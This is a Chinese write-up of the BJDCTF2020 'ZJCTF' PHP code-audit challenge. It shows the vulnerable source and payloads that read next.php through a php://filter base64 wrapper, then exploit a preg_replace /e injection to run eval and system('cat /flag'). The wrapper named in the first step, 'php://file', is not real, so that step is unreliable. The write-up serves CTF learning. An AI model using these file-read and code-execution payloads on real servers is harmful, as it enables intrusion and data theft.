BUU-WEB-[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

php代码审计。

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

绕过第一个if:
1.以get方式提交两个参数,text和file。
2.text的主要内容是I have a dream。
3.file中不能包含flag。
直接构建payload:

text=I have a dream&text=next.php

无法传入。
于是通过php://file传入text的内容。
再将next.php的内容以php://filter的方式读取。

text=php://file&file=php://filter/read/convert.base64-encode/resource=next.php

在这里插入图片描述
成功读取next.php的base64的源码密文。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

绕过preg_replace函数
构建payload:

/next.php?\S*=${getflag()}&cmd=show_source("/flag");

在这里插入图片描述
也可以通过POST传入。

next.php?\S*=${eval($_POST[shell])}

再以POST方式提交执行命令:

#POST
shell=system("cat /flag");

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值